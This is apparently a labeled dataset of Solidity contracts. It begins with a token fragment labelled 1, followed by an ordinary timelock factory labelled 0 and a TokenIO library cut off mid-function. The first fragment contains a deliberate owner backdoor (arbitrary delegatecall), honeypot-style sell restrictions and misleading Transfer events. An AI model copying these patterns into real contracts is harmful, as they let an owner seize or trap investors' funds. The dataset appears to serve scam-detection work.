if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,318 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
IERC20 private _token;
address private _beneficiary;
uint256 private _releaseTime;
constructor(
IERC20 token,
address beneficiary,
uint256 releaseTime
)
public
{
require(releaseTime > block.timestamp);
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
function token() public view returns(IERC20) {
return _token;
}
function beneficiary() public view returns(address) {
return _beneficiary;
}
function releaseTime() public view returns(uint256) {
return _releaseTime;
}
function release() public {
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0);
_token.safeTransfer(_beneficiary, amount);
}
}
contract LoomTimelockFactory {
IERC20 loom;
event LoomTimeLockCreated(address validatorEthAddress, address timelockContractAddress, string validatorName, string validatorPublicKey, uint256 _amount, uint256 _releaseTime);
constructor(IERC20 _loom) public { loom = _loom; }
function deployTimeLock(address validatorEthAddress, string validatorName, string validatorPublicKey, uint256 amount, uint256 duration) public {
TokenTimelock timelock = new TokenTimelock(loom, validatorEthAddress, block.timestamp + duration);
require(address(timelock) != address(0x0));
loom.transferFrom(msg.sender, address(timelock), amount);
emit LoomTimeLockCreated(validatorEthAddress, address(timelock), validatorName, validatorPublicKey, amount, block.timestamp + duration);
}
} | 0 | 534 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 result) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Error: Unsafe multiplication operation!");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256 result) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 result) {
require(b <= a, "Error: Unsafe subtraction operation!");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 result) {
uint256 c = a + b;
require(c >= a, "Error: Unsafe addition operation!");
return c;
}
}
contract Ownable {
mapping(address => bool) public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AllowOwnership(address indexed allowedAddress);
event RevokeOwnership(address indexed allowedAddress);
constructor() public {
owner[msg.sender] = true;
}
modifier onlyOwner() {
require(owner[msg.sender], "Error: Transaction sender is not allowed by the contract.");
_;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool success) {
require(newOwner != address(0), "Error: newOwner cannot be null!");
emit OwnershipTransferred(msg.sender, newOwner);
owner[newOwner] = true;
owner[msg.sender] = false;
return true;
}
function allowOwnership(address allowedAddress) public onlyOwner returns (bool success) {
owner[allowedAddress] = true;
emit AllowOwnership(allowedAddress);
return true;
}
function removeOwnership(address allowedAddress) public onlyOwner returns (bool success) {
owner[allowedAddress] = false;
emit RevokeOwnership(allowedAddress);
return true;
}
}
contract TokenIOStorage is Ownable {
mapping(bytes32 => uint256) internal uIntStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
constructor() public {
owner[msg.sender] = true;
}
function setAddress(bytes32 _key, address _value) public onlyOwner returns (bool success) {
addressStorage[_key] = _value;
return true;
}
function setUint(bytes32 _key, uint _value) public onlyOwner returns (bool success) {
uIntStorage[_key] = _value;
return true;
}
function setString(bytes32 _key, string _value) public onlyOwner returns (bool success) {
stringStorage[_key] = _value;
return true;
}
function setBytes(bytes32 _key, bytes _value) public onlyOwner returns (bool success) {
bytesStorage[_key] = _value;
return true;
}
function setBool(bytes32 _key, bool _value) public onlyOwner returns (bool success) {
boolStorage[_key] = _value;
return true;
}
function setInt(bytes32 _key, int _value) public onlyOwner returns (bool success) {
intStorage[_key] = _value;
return true;
}
function deleteAddress(bytes32 _key) public onlyOwner returns (bool success) {
delete addressStorage[_key];
return true;
}
function deleteUint(bytes32 _key) public onlyOwner returns (bool success) {
delete uIntStorage[_key];
return true;
}
function deleteString(bytes32 _key) public onlyOwner returns (bool success) {
delete stringStorage[_key];
return true;
}
function deleteBytes(bytes32 _key) public onlyOwner returns (bool success) {
delete bytesStorage[_key];
return true;
}
function deleteBool(bytes32 _key) public onlyOwner returns (bool success) {
delete boolStorage[_key];
return true;
}
function deleteInt(bytes32 _key) public onlyOwner returns (bool success) {
delete intStorage[_key];
return true;
}
function getAddress(bytes32 _key) public view returns (address _value) {
return addressStorage[_key];
}
function getUint(bytes32 _key) public view returns (uint _value) {
return uIntStorage[_key];
}
function getString(bytes32 _key) public view returns (string _value) {
return stringStorage[_key];
}
function getBytes(bytes32 _key) public view returns (bytes _value) {
return bytesStorage[_key];
}
function getBool(bytes32 _key) public view returns (bool _value) {
return boolStorage[_key];
}
function getInt(bytes32 _key) public view returns (int _value) {
return intStorage[_key];
}
}
library TokenIOLib {
using SafeMath for uint;
struct Data {
TokenIOStorage Storage;
}
event Approval(address indexed owner, address indexed spender, uint amount);
event Deposit(string currency, address indexed account, uint amount, string issuerFirm);
event Withdraw(string currency, address indexed account, uint amount, string issuerFirm);
event Transfer(string currency, address indexed from, address indexed to, uint amount, bytes data);
event KYCApproval(address indexed account, bool status, string issuerFirm);
event AccountStatus(address indexed account, bool status, string issuerFirm);
event FxSwap(string tokenASymbol,string tokenBSymbol,uint tokenAValue,uint tokenBValue, uint expiration, bytes32 transactionHash);
event AccountForward(address indexed originalAccount, address indexed forwardedAccount);
event NewAuthority(address indexed authority, string issuerFirm);
function setTokenName(Data storage self, string tokenName) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('token.name', address(this)));
require(
self.Storage.setString(id, tokenName),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setTokenSymbol(Data storage self, string tokenSymbol) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('token.symbol', address(this)));
require(
self.Storage.setString(id, tokenSymbol),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setTokenTLA(Data storage self, string tokenTLA) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('token.tla', address(this)));
require(
self.Storage.setString(id, tokenTLA),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setTokenVersion(Data storage self, string tokenVersion) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('token.version', address(this)));
require(
self.Storage.setString(id, tokenVersion),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setTokenDecimals(Data storage self, string currency, uint tokenDecimals) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('token.decimals', currency));
require(
self.Storage.setUint(id, tokenDecimals),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setFeeBPS(Data storage self, uint feeBPS) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('fee.bps', address(this)));
require(
self.Storage.setUint(id, feeBPS),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setFeeMin(Data storage self, uint feeMin) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('fee.min', address(this)));
require(
self.Storage.setUint(id, feeMin),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setFeeMax(Data storage self, uint feeMax) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('fee.max', address(this)));
require(
self.Storage.setUint(id, feeMax),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setFeeFlat(Data storage self, uint feeFlat) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('fee.flat', address(this)));
require(
self.Storage.setUint(id, feeFlat),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setFeeMsg(Data storage self, bytes feeMsg) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('fee.msg', address(this)));
require(
self.Storage.setBytes(id, feeMsg),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setFeeContract(Data storage self, address feeContract) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('fee.account', address(this)));
require(
self.Storage.setAddress(id, feeContract),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setTokenNameSpace(Data storage self, string currency) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('token.namespace', currency));
require(
self.Storage.setAddress(id, address(this)),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function setKYCApproval(Data storage self, address account, bool isApproved, string issuerFirm) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('account.kyc', getForwardedAccount(self, account)));
require(
self.Storage.setBool(id, isApproved),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
emit KYCApproval(account, isApproved, issuerFirm);
return true;
}
function setAccountStatus(Data storage self, address account, bool isAllowed, string issuerFirm) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('account.allowed', getForwardedAccount(self, account)));
require(
self.Storage.setBool(id, isAllowed),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
emit AccountStatus(account, isAllowed, issuerFirm);
return true;
}
function setForwardedAccount(Data storage self, address originalAccount, address forwardedAccount) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('master.account', forwardedAccount));
require(
self.Storage.setAddress(id, originalAccount),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function getForwardedAccount(Data storage self, address account) internal view returns (address registeredAccount) {
bytes32 id = keccak256(abi.encodePacked('master.account', account));
address originalAccount = self.Storage.getAddress(id);
if (originalAccount != 0x0) {
return originalAccount;
} else {
return account;
}
}
function getKYCApproval(Data storage self, address account) internal view returns (bool status) {
bytes32 id = keccak256(abi.encodePacked('account.kyc', getForwardedAccount(self, account)));
return self.Storage.getBool(id);
}
function getAccountStatus(Data storage self, address account) internal view returns (bool status) {
bytes32 id = keccak256(abi.encodePacked('account.allowed', getForwardedAccount(self, account)));
return self.Storage.getBool(id);
}
function getTokenNameSpace(Data storage self, string currency) internal view returns (address contractAddress) {
bytes32 id = keccak256(abi.encodePacked('token.namespace', currency));
return self.Storage.getAddress(id);
}
function getTokenName(Data storage self, address contractAddress) internal view returns (string tokenName) {
bytes32 id = keccak256(abi.encodePacked('token.name', contractAddress));
return self.Storage.getString(id);
}
function getTokenSymbol(Data storage self, address contractAddress) internal view returns (string tokenSymbol) {
bytes32 id = keccak256(abi.encodePacked('token.symbol', contractAddress));
return self.Storage.getString(id);
}
function getTokenTLA(Data storage self, address contractAddress) internal view returns (string tokenTLA) {
bytes32 id = keccak256(abi.encodePacked('token.tla', contractAddress));
return self.Storage.getString(id);
}
function getTokenVersion(Data storage self, address contractAddress) internal view returns (string) {
bytes32 id = keccak256(abi.encodePacked('token.version', contractAddress));
return self.Storage.getString(id);
}
function getTokenDecimals(Data storage self, string currency) internal view returns (uint tokenDecimals) {
bytes32 id = keccak256(abi.encodePacked('token.decimals', currency));
return self.Storage.getUint(id);
}
function getFeeBPS(Data storage self, address contractAddress) internal view returns (uint feeBps) {
bytes32 id = keccak256(abi.encodePacked('fee.bps', contractAddress));
return self.Storage.getUint(id);
}
function getFeeMin(Data storage self, address contractAddress) internal view returns (uint feeMin) {
bytes32 id = keccak256(abi.encodePacked('fee.min', contractAddress));
return self.Storage.getUint(id);
}
function getFeeMax(Data storage self, address contractAddress) internal view returns (uint feeMax) {
bytes32 id = keccak256(abi.encodePacked('fee.max', contractAddress));
return self.Storage.getUint(id);
}
function getFeeFlat(Data storage self, address contractAddress) internal view returns (uint feeFlat) {
bytes32 id = keccak256(abi.encodePacked('fee.flat', contractAddress));
return self.Storage.getUint(id);
}
function getFeeMsg(Data storage self, address contractAddress) internal view returns (bytes feeMsg) {
bytes32 id = keccak256(abi.encodePacked('fee.msg', contractAddress));
return self.Storage.getBytes(id);
}
function setMasterFeeContract(Data storage self, address contractAddress) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('fee.contract.master'));
require(
self.Storage.setAddress(id, contractAddress),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function getMasterFeeContract(Data storage self) internal view returns (address masterFeeContract) {
bytes32 id = keccak256(abi.encodePacked('fee.contract.master'));
return self.Storage.getAddress(id);
}
function getFeeContract(Data storage self, address contractAddress) internal view returns (address feeContract) {
bytes32 id = keccak256(abi.encodePacked('fee.account', contractAddress));
address feeAccount = self.Storage.getAddress(id);
if (feeAccount == 0x0) {
return getMasterFeeContract(self);
} else {
return feeAccount;
}
}
function getTokenSupply(Data storage self, string currency) internal view returns (uint supply) {
bytes32 id = keccak256(abi.encodePacked('token.supply', currency));
return self.Storage.getUint(id);
}
function getTokenAllowance(Data storage self, string currency, address account, address spender) internal view returns (uint allowance) {
bytes32 id = keccak256(abi.encodePacked('token.allowance', currency, getForwardedAccount(self, account), getForwardedAccount(self, spender)));
return self.Storage.getUint(id);
}
function getTokenBalance(Data storage self, string currency, address account) internal view returns (uint balance) {
bytes32 id = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, account)));
return self.Storage.getUint(id);
}
function getTokenFrozenBalance(Data storage self, string currency, address account) internal view returns (uint frozenBalance) {
bytes32 id = keccak256(abi.encodePacked('token.frozen', currency, getForwardedAccount(self, account)));
return self.Storage.getUint(id);
}
function setTokenFrozenBalance(Data storage self, string currency, address account, uint amount) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('token.frozen', currency, getForwardedAccount(self, account)));
require(
self.Storage.setUint(id, amount),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract."
);
return true;
}
function calculateFees(Data storage self, address contractAddress, uint amount) internal view returns (uint calculatedFees) {
uint maxFee = self.Storage.getUint(keccak256(abi.encodePacked('fee.max', contractAddress)));
uint minFee = self.Storage.getUint(keccak256(abi.encodePacked('fee.min', contractAddress)));
uint bpsFee = self.Storage.getUint(keccak256(abi.encodePacked('fee.bps', contractAddress)));
uint flatFee = self.Storage.getUint(keccak256(abi.encodePacked('fee.flat', contractAddress)));
uint fees = ((amount.mul(bpsFee)).div(10000)).add(flatFee);
if (fees > maxFee) {
return maxFee;
} else if (fees < minFee) {
return minFee;
} else {
return fees;
}
}
function verifyAccounts(Data storage self, address accountA, address accountB) internal view returns (bool verified) {
require(
verifyAccount(self, accountA),
"Error: Account is not verified for operation. Please ensure account has been KYC approved."
);
require(
verifyAccount(self, accountB),
"Error: Account is not verified for operation. Please ensure account has been KYC approved."
);
return true;
}
function verifyAccount(Data storage self, address account) internal view returns (bool verified) {
require(
getKYCApproval(self, account),
"Error: Account does not have KYC approval."
);
require(
getAccountStatus(self, account),
"Error: Account status is `false`. Account status must be `true`."
);
return true;
}
function transfer(Data storage self, string currency, address to, uint amount, bytes data) internal returns (bool success) {
require(address(to) != 0x0, "Error: `to` address cannot be null." );
require(amount > 0, "Error: `amount` must be greater than zero");
address feeContract = getFeeContract(self, address(this));
uint fees = calculateFees(self, feeContract, amount);
require(
setAccountSpendingAmount(self, msg.sender, getFxUSDAmount(self, currency, amount)),
"Error: Unable to set spending amount for account.");
require(
forceTransfer(self, currency, msg.sender, to, amount, data),
"Error: Unable to transfer funds to account.");
require(
forceTransfer(self, currency, msg.sender, feeContract, fees, getFeeMsg(self, feeContract)),
"Error: Unable to transfer fees to fee contract.");
return true;
}
function transferFrom(Data storage self, string currency, address from, address to, uint amount, bytes data) internal returns (bool success) {
require(
address(to) != 0x0,
"Error: `to` address must not be null."
);
address feeContract = getFeeContract(self, address(this));
uint fees = calculateFees(self, feeContract, amount);
require(
setAccountSpendingAmount(self, from, getFxUSDAmount(self, currency, amount)),
"Error: Unable to set account spending amount."
);
require(
forceTransfer(self, currency, from, to, amount, data),
"Error: Unable to transfer funds to account."
);
require(
forceTransfer(self, currency, from, feeContract, fees, getFeeMsg(self, feeContract)),
"Error: Unable to transfer fees to fee contract."
);
require(
updateAllowance(self, currency, from, amount),
"Error: Unable to update allowance for spender."
);
return true;
}
function forceTransfer(Data storage self, string currency, address from, address to, uint amount, bytes data) internal returns (bool success) {
require(
address(to) != 0x0,
"Error: `to` address must not be null."
);
bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, from)));
bytes32 id_b = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, to)));
require(
self.Storage.setUint(id_a, self.Storage.getUint(id_a).sub(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
require(
self.Storage.setUint(id_b, self.Storage.getUint(id_b).add(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
emit Transfer(currency, from, to, amount, data);
return true;
}
function updateAllowance(Data storage self, string currency, address account, uint amount) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('token.allowance', currency, getForwardedAccount(self, account), getForwardedAccount(self, msg.sender)));
require(
self.Storage.setUint(id, self.Storage.getUint(id).sub(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
return true;
}
function approveAllowance(Data storage self, address spender, uint amount) internal returns (bool success) {
require(spender != 0x0,
"Error: `spender` address cannot be null.");
string memory currency = getTokenSymbol(self, address(this));
require(
getTokenFrozenBalance(self, currency, getForwardedAccount(self, spender)) == 0,
"Error: Spender must not have a frozen balance directly");
bytes32 id_a = keccak256(abi.encodePacked('token.allowance', currency, getForwardedAccount(self, msg.sender), getForwardedAccount(self, spender)));
bytes32 id_b = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, msg.sender)));
require(
self.Storage.getUint(id_a) == 0 || amount == 0,
"Error: Allowance must be zero (0) before setting an updated allowance for spender.");
require(
self.Storage.getUint(id_b) >= amount,
"Error: Allowance cannot exceed msg.sender token balance.");
require(
self.Storage.setUint(id_a, amount),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
emit Approval(msg.sender, spender, amount);
return true;
}
function deposit(Data storage self, string currency, address account, uint amount, string issuerFirm) internal returns (bool success) {
bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, account)));
bytes32 id_b = keccak256(abi.encodePacked('token.issued', currency, issuerFirm));
bytes32 id_c = keccak256(abi.encodePacked('token.supply', currency));
require(self.Storage.setUint(id_a, self.Storage.getUint(id_a).add(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
require(self.Storage.setUint(id_b, self.Storage.getUint(id_b).add(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
require(self.Storage.setUint(id_c, self.Storage.getUint(id_c).add(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
emit Deposit(currency, account, amount, issuerFirm);
return true;
}
function withdraw(Data storage self, string currency, address account, uint amount, string issuerFirm) internal returns (bool success) {
bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, account)));
bytes32 id_b = keccak256(abi.encodePacked('token.issued', currency, issuerFirm));
bytes32 id_c = keccak256(abi.encodePacked('token.supply', currency));
require(
self.Storage.setUint(id_a, self.Storage.getUint(id_a).sub(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
require(
self.Storage.setUint(id_b, self.Storage.getUint(id_b).sub(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
require(
self.Storage.setUint(id_c, self.Storage.getUint(id_c).sub(amount)),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
emit Withdraw(currency, account, amount, issuerFirm);
return true;
}
function setRegisteredFirm(Data storage self, string issuerFirm, bool approved) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('registered.firm', issuerFirm));
require(
self.Storage.setBool(id, approved),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract."
);
return true;
}
function setRegisteredAuthority(Data storage self, string issuerFirm, address authorityAddress, bool approved) internal returns (bool success) {
require(
isRegisteredFirm(self, issuerFirm),
"Error: `issuerFirm` must be registered.");
bytes32 id_a = keccak256(abi.encodePacked('registered.authority', issuerFirm, authorityAddress));
bytes32 id_b = keccak256(abi.encodePacked('registered.authority.firm', authorityAddress));
require(
self.Storage.setBool(id_a, approved),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
require(
self.Storage.setString(id_b, issuerFirm),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
return true;
}
function getFirmFromAuthority(Data storage self, address authorityAddress) internal view returns (string issuerFirm) {
bytes32 id = keccak256(abi.encodePacked('registered.authority.firm', getForwardedAccount(self, authorityAddress)));
return self.Storage.getString(id);
}
function isRegisteredFirm(Data storage self, string issuerFirm) internal view returns (bool registered) {
bytes32 id = keccak256(abi.encodePacked('registered.firm', issuerFirm));
return self.Storage.getBool(id);
}
function isRegisteredToFirm(Data storage self, string issuerFirm, address authorityAddress) internal view returns (bool registered) {
bytes32 id = keccak256(abi.encodePacked('registered.authority', issuerFirm, getForwardedAccount(self, authorityAddress)));
return self.Storage.getBool(id);
}
function isRegisteredAuthority(Data storage self, address authorityAddress) internal view returns (bool registered) {
bytes32 id = keccak256(abi.encodePacked('registered.authority', getFirmFromAuthority(self, getForwardedAccount(self, authorityAddress)), getForwardedAccount(self, authorityAddress)));
return self.Storage.getBool(id);
}
function getTxStatus(Data storage self, bytes32 txHash) internal view returns (bool txStatus) {
bytes32 id = keccak256(abi.encodePacked('tx.status', txHash));
return self.Storage.getBool(id);
}
function setTxStatus(Data storage self, bytes32 txHash) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('tx.status', txHash));
require(!getTxStatus(self, txHash),
"Error: Transaction status must be false before setting the transaction status.");
require(self.Storage.setBool(id, true),
"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.");
return true;
}
function execSwap(
Data storage self,
address requester,
string symbolA,
string symbolB,
uint valueA,
uint valueB,
uint8 sigV,
bytes32 sigR,
bytes32 sigS,
uint expiration
) internal returns (bool success) {
bytes32 fxTxHash = keccak256(abi.encodePacked(requester, symbolA, symbolB, valueA, valueB, expiration));
require(
verifyAccounts(self, msg.sender, requester),
"Error: Only verified accounts can perform currency swaps.");
require(
setTxStatus(self, fxTxHash),
"Error: Failed to set transaction status to fulfilled.");
require(expiration >= now, "Error: Transaction has expired!");
require(
ecrecover(fxTxHash, sigV, sigR, sigS) == requester,
"Error: Address derived from transaction signature does not match the requester address");
require(
forceTransfer(self, symbolA, msg.sender, requester, valueA, "0x0"),
"Error: Unable to transfer funds to account.");
require(
forceTransfer(self, symbolB, requester, msg.sender, valueB, "0x0"),
"Error: Unable to transfer funds to account.");
emit FxSwap(symbolA, symbolB, valueA, valueB, expiration, fxTxHash);
return true;
}
function setDeprecatedContract(Data storage self, address contractAddress) internal returns (bool success) {
require(contractAddress != 0x0,
"Error: cannot deprecate a null address.");
bytes32 id = keccak256(abi.encodePacked('depcrecated', contractAddress));
require(self.Storage.setBool(id, true),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.");
return true;
}
function isContractDeprecated(Data storage self, address contractAddress) internal view returns (bool status) {
bytes32 id = keccak256(abi.encodePacked('depcrecated', contractAddress));
return self.Storage.getBool(id);
}
function setAccountSpendingPeriod(Data storage self, address account, uint period) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('limit.spending.period', account));
require(self.Storage.setUint(id, period),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.");
return true;
}
function getAccountSpendingPeriod(Data storage self, address account) internal view returns (uint period) {
bytes32 id = keccak256(abi.encodePacked('limit.spending.period', account));
return self.Storage.getUint(id);
}
function setAccountSpendingLimit(Data storage self, address account, uint limit) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('account.spending.limit', account));
require(self.Storage.setUint(id, limit),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.");
return true;
}
function getAccountSpendingLimit(Data storage self, address account) internal view returns (uint limit) {
bytes32 id = keccak256(abi.encodePacked('account.spending.limit', account));
return self.Storage.getUint(id);
}
function setAccountSpendingAmount(Data storage self, address account, uint amount) internal returns (bool success) {
require(updateAccountSpendingPeriod(self, account),
"Error: Unable to update account spending period.");
uint updatedAmount = getAccountSpendingAmount(self, account).add(amount);
require(
getAccountSpendingLimit(self, account) >= updatedAmount,
"Error: Account cannot exceed its daily spend limit.");
bytes32 id = keccak256(abi.encodePacked('account.spending.amount', account, getAccountSpendingPeriod(self, account)));
require(self.Storage.setUint(id, updatedAmount),
"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.");
return true;
}
function updateAccountSpendingPeriod(Data storage self, address account) internal returns (bool success) {
uint begDate = getAccountSpendingPeriod(self, account);
if (begDate > now) {
return true;
} else {
uint duration = 86400;
require(
setAccountSpendingPeriod(self, account, begDate.add(((now.sub(begDate)).div(duration).add(1)).mul(duration))),
"Error: Unable to update account spending period.");
return true;
}
}
function getAccountSpendingAmount(Data storage self, address account) internal view returns (uint amount) {
bytes32 id = keccak256(abi.encodePacked('account.spending.amount', account, getAccountSpendingPeriod(self, account)));
return self.Storage.getUint(id);
}
function getAccountSpendingRemaining(Data storage self, address account) internal view returns (uint remainingLimit) {
return getAccountSpendingLimit(self, account).sub(getAccountSpendingAmount(self, account));
}
function setFxUSDBPSRate(Data storage self, string currency, uint bpsRate) internal returns (bool success) {
bytes32 id = keccak256(abi.encodePacked('fx.usd.rate', currency));
require(
self.Storage.setUint(id, bpsRate),
"Error: Unable to update account spending period.");
return true;
}
function getFxUSDBPSRate(Data storage self, string currency) internal view returns (uint bpsRate) {
bytes32 id = keccak256(abi.encodePacked('fx.usd.rate', currency));
return self.Storage.getUint(id);
}
function getFxUSDAmount(Data storage self, string currency, uint fxAmount) internal view returns (uint amount) {
